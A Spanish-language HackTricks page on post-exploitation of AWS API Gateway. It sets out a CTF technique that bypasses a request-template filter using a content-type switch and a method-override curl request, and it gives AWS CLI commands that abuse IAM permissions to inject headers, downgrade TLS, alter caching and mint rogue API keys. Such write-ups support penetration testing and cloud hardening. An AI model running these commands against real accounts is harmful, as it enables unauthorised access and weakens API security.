AWS - API Gateway Post Exploitation

Apoya a HackTricks

API Gateway

Para más información revisa:

AWS - API Gateway Enum

Acceder a APIs no expuestas

Puedes crear un endpoint en https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint con el servicio com.amazonaws.us-east-1.execute-api, exponer el endpoint en una red donde tengas acceso (potencialmente a través de una máquina EC2) y asignar un grupo de seguridad que permita todas las conexiones. Luego, desde la máquina EC2 podrás acceder al endpoint y, por lo tanto, llamar a la API del gateway que no estaba expuesta antes.

Eludir el paso del cuerpo de la solicitud

Esta técnica se encontró en este writeup de CTF.

Como se indica en la documentación de AWS en la sección PassthroughBehavior, por defecto, el valor WHEN_NO_MATCH, al verificar el encabezado Content-Type de la solicitud, pasará la solicitud al back end sin transformación.

Por lo tanto, en el CTF el API Gateway tenía una plantilla de integración que impedía que la bandera fuera exfiltrada en una respuesta cuando se enviaba una solicitud con Content-Type: application/json:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Sin embargo, enviar una solicitud con Content-type: text/json evitaría ese filtro.

Finalmente, como el API Gateway solo permitía Get y Options, fue posible enviar una consulta arbitraria a dynamoDB sin ningún límite enviando una solicitud POST con la consulta en el cuerpo y usando el encabezado X-HTTP-Method-Override: GET:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

En la sección de Enumeración puedes ver cómo obtener el plan de uso de las claves. Si tienes la clave y está limitada a X usos por mes, podrías simplemente usarla y causar un DoS.

La API Key solo necesita ser incluida dentro de un header HTTP llamado x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateGatewayResponse y apigateway:CreateDeployment puede modificar una Respuesta de Gateway existente para incluir headers personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Fuga de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de la API.

Necesita pruebas

apigateway:UpdateStage, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateStage y apigateway:CreateDeployment puede modificar una etapa existente de API Gateway para redirigir el tráfico a una etapa diferente o cambiar la configuración de caché para obtener acceso no autorizado a datos en caché.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acceso no autorizado a datos en caché, interrumpiendo o interceptando el tráfico de la API.

Necesita pruebas

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un atacante con los permisos apigateway:PutMethodResponse y apigateway:CreateDeployment puede modificar la respuesta del método de una API Gateway REST API existente para incluir encabezados personalizados o plantillas de respuesta que filtren información sensible o ejecuten scripts maliciosos.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Fuga de información sensible, ejecución de scripts maliciosos o acceso no autorizado a recursos de API.

Necesita pruebas

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un atacante con los permisos apigateway:UpdateRestApi y apigateway:CreateDeployment puede modificar la configuración de API Gateway REST API para deshabilitar el registro o cambiar la versión mínima de TLS, potencialmente debilitando la seguridad de la API.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Debilitar la seguridad del API, permitiendo potencialmente el acceso no autorizado o exponiendo información sensible.

Necesita pruebas

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un atacante con permisos apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, y apigateway:CreateUsagePlanKey puede crear nuevas claves de API, asociarlas con planes de uso, y luego usar estas claves para acceder a APIs sin autorización.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impacto Potencial: Acceso no autorizado a recursos de API, eludiendo controles de seguridad.

Necesita pruebas

Apoya HackTricks

Last updated